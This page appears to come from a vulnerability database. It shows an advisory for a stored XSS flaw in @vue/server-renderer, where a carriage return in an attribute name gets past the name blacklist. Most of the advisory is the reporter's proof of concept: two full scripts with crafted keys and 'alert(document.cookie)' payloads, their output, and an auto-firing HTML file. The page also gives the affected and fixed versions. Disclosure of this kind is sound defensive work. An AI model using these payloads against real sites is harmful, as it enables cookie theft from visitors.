Skip to content
Fencer Vulns
high 7.2

GHSA-g2v6-rqmx-r4w6 json

@vue/server-renderer: XSS via missing CR in attribute-name blacklist

published 2026-10-05 34 d ago modified 2026-10-05 34 d ago

cvss
7.2
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

## Description

`@vue/server-renderer` was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS.

`ssrRenderAttrs()` (in `packages/server-renderer/src/helpers/ssrRenderAttrs.ts`) is what compiled SSR output calls for something like `<div v-bind="userObject">`. It loops over the object's own keys and, for each one, renders it as an HTML attribute:

```ts export function ssrRenderDynamicAttr( key: string, value: unknown, tag?: string, ): string { if (!isRenderableAttrValue(value)) { return `` } const attrKey = ... if (isBooleanAttr(attrKey) || ...) { return includeBooleanAttr(value) ? ` ${attrKey}` : `` } else if (isSSRSafeAttrName(attrKey)) { return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"` } else { console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`) return `` } } ```

The value always goes through `escapeHtml()` -- that part is correctly and consistently applied everywhere in this file. But the attribute name (`attrKey`) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own:

```ts // packages/shared/src/domAttrConfig.ts const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/

export function isSSRSafeAttrName(name: string): boolean { if (attrValidationCache.hasOwnProperty(name)) { return attrValidationCache[name] } const isUnsafe = unsafeAttrCharRE.test(name) if (isUnsafe) { console.error(`unsafe attribute name: ${name}`) } return (attrValidationCache[name] = !isUnsafe) } ```

That blacklist covers: `>`, `/`, `=`, `"`, apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as `\r` in JS).

That matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step ("preprocessing the input stream") converts every `\r` not followed by `\n` into a `\n` before the tokenizer even starts. So a raw `\r` sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that's exactly the gap.

Below is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source:

<img width="781" height="336" alt="poc1" src="https://github.com/user-attachments/assets/f4b92955-9a8f-4700-8c51-38ee46912de8" />

## Prrof

The real, unmodified  ssrRenderAttrs()  from the published  @vue/server-renderer@3.5.41  package was tested. The source at HEAD and the upcoming  v3.6.0-rc.2  tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified.

Full script, saved as `poc.mjs` (GitHub doesn't let me attach `.mjs` directly, so the complete file is here):

```js import { ssrRenderAttrs } from '@vue/server-renderer'; import { parseFragment } from 'parse5';

// This is exactly what compiled SSR output calls for `<div v-bind="userObject">` // -- the real, unmodified, published ssrRenderAttrs function. // Full attack chain: the key itself contains ONLY letters, digits, and a // bare \r (carriage return) -- no '>', '/', '=', '"', "'", tab, LF, FF, or // space anywhere, so isSSRSafeAttrName() considers it fully safe. The value // is attacker-controlled JavaScript, delivered as the genuine value of the // LAST \r-separated fragment, which Vue's own template naturally appends via // `="${escapeHtml(value)}"` immediately after the key. const maliciousKey = 'x\rautofocus\ronfocus'; const props = { [maliciousKey]: 'alert(document.cookie)', };

const rawAttrString = ssrRenderAttrs(props); console.log('=== Raw string produced by the real ssrRenderAttrs() ==='); console.log(JSON.stringify(rawAttrString)); console.log(); console.log('=== As it would literally appear in the HTML response ==='); console.log(rawAttrString.replace(/\r/g, '\\r').replace(/\n/g, '\\n\n'));

const fullHtml = `<div${rawAttrString}>content</div>`; console.log(); console.log('=== Full element HTML ==='); console.log(JSON.stringify(fullHtml));

// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5 // parser (the same parsing algorithm real browsers implement, including the // \r\n -> \n input-preprocessing normalization step). const fragment = parseFragment(fullHtml); const div = fragment.childNodes.find(n => n.tagName === 'div'); console.log(); console.log('=== How a real HTML5 parser (parse5) actually interprets this ==='); console.log('Attributes parsed on the <div>:'); for (const attr of div.attrs) { console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`); }

const injectedHandler = div.attrs.find(a => a.name === 'onfocus'); const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus'); console.log(); if (injectedHandler && injectedAutofocus) { console.log('*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***'); console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`); console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***'); } else { console.log('Not confirmed.'); } ```

This is a fresh `npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5` -- the real, currently-published packages, not anything modified:

<img width="831" height="531" alt="poc2" src="https://github.com/user-attachments/assets/ea350948-4c93-45a3-b21a-f21dc7f90d29" />

Real, captured output:

``` === Raw string produced by the real ssrRenderAttrs() === " x\rautofocus\ronfocus=\"alert(document.cookie)\""

=== Full element HTML === "<div x\rautofocus\ronfocus=\"alert(document.cookie)\">content</div>"

=== How a real HTML5 parser (parse5) actually interprets this === Attributes parsed on the <div>: "x" = "" "autofocus" = "" "onfocus" = "alert(document.cookie)"

*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out *** *** onfocus value: "alert(document.cookie)" *** ```

<img width="834" height="897" alt="poc3" src="https://github.com/user-attachments/assets/a92f9c5b-e30d-4968-9ec1-8969628c6437" /> <img width="834" height="896" alt="poc4" src="https://github.com/user-attachments/assets/a397cd3f-8eb3-49af-9604-a31a8bcdb2ea" />

The single attribute name Vue intended to render safely -- `x\rautofocus\ronfocus` -- gets parsed by any real browser as three separate things: an empty `x` attribute, a real `autofocus` boolean attribute, and a real `onfocus="alert(document.cookie)"` event handler. `autofocus` means the element receives focus automatically on page load, which fires the `focus` event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required.

This behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case (`"foo\rbar"` as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (`foo=""` and `bar="..."`), before building the full self-triggering payload above.

To go beyond the parser-level proof, there is a second script that calls the real `ssrRenderAttrs()`, captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as `generate_real_poc.mjs`:

```js import { ssrRenderAttrs } from '@vue/server-renderer'; import fs from 'fs';

// This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed // @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML, // it is Vue's own function's real return value, captured programmatically. const maliciousKey = 'x\rsrc\ronerror'; const props = { [maliciousKey]: 'alert("REAL Vue SSR output executed this -- cookie: " + document.cookie)' };

const vueOutput = ssrRenderAttrs(props);

console.log('=== Vue\'s real ssrRenderAttrs() returned exactly this string ==='); console.log(JSON.stringify(vueOutput));

// Build the full page around Vue's UNMODIFIED output -- the <img ...> tag // content between the angle brackets is copied byte-for-byte from vueOutput, // not retyped. const html = `<!DOCTYPE html> <html> <head><title>Vue SSR PoC -- byte-for-byte Vue output</title></head> <body> <h3>Everything inside the &lt;img&gt; tag below was written to this file programmatically from the real return value of <code>ssrRenderAttrs()</code> in the actual installed <code>@vue/server-renderer@3.5.41</code> package. No HTML was hand-typed for the tag itself.</h3> <p>Exact JSON-escaped string Vue's function returned (see generate_real_poc.mjs, run right before this file was written):</p> <pre id="vue-output-proof">${vueOutput.replace(/</g, '&lt;')}</pre> <hr> <img${vueOutput}> </body> </html> `;

const outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html'; fs.writeFileSync(outPath, html); console.log('\nWrote', outPath); console.log('Bytes inside the <img...> tag are Vue\'s real, unmodified return value.'); ```

Opening that generated file in a real browser fires the payload automatically:

<img width="1666" height="449" alt="poc5" src="https://github.com/user-attachments/assets/251bd830-634f-4cd0-bf79-849bbc07ec9a" />

Dev tools on that same page confirm the browser genuinely parsed three separate attributes (`x`, `src`, `onerror`), matching the on-page proof text that was written directly from Vue's real return value:

<img width="1348" height="400" alt="poc6" src="https://github.com/user-attachments/assets/b19d6ff0-ecaa-45f3-9149-9f3d0d4faacb" />

Whether this affects client-side (non-SSR) Vue rendering was also checked: it doesn't, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM `setAttribute()` API, which validates the name against the HTML QName grammar and throws a `DOMException` for characters like `"` (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That's a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an `@vue/server-renderer` (SSR) issue.

## Impact

This requires an application to bind an object whose keys (not just values) come from a source the developer doesn't fully control, via `v-bind="object"` or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that's already safely handled by `escapeHtml()`. Binding untrusted keys is less universal, but it's a real, documented, supported Vue feature, not a misuse of the framework -- and it's exactly the scenario `isSSRSafeAttrName()` exists to defend, which tells me it's already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object).

Where it's reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected `autofocus`/`onfocus` payload runs the moment the page loads, for every visitor who receives that s…

Patch / fix

CVSS scores

assigned by version score vector
GitHub 3.1 7.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Affected packages

ecosystem package affected fixed in
npm @vue/server-renderer
<3.5.42
>=3.6.0-rc.0, <3.6.0-rc.6
3.5.42
3.6.0-rc.6

Classification

Weakness
  • CWE-116 Improper Encoding or Escaping of Output
  • CWE-79 Improper Neutralization of Input During Web Page Generation

References

Sources

Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.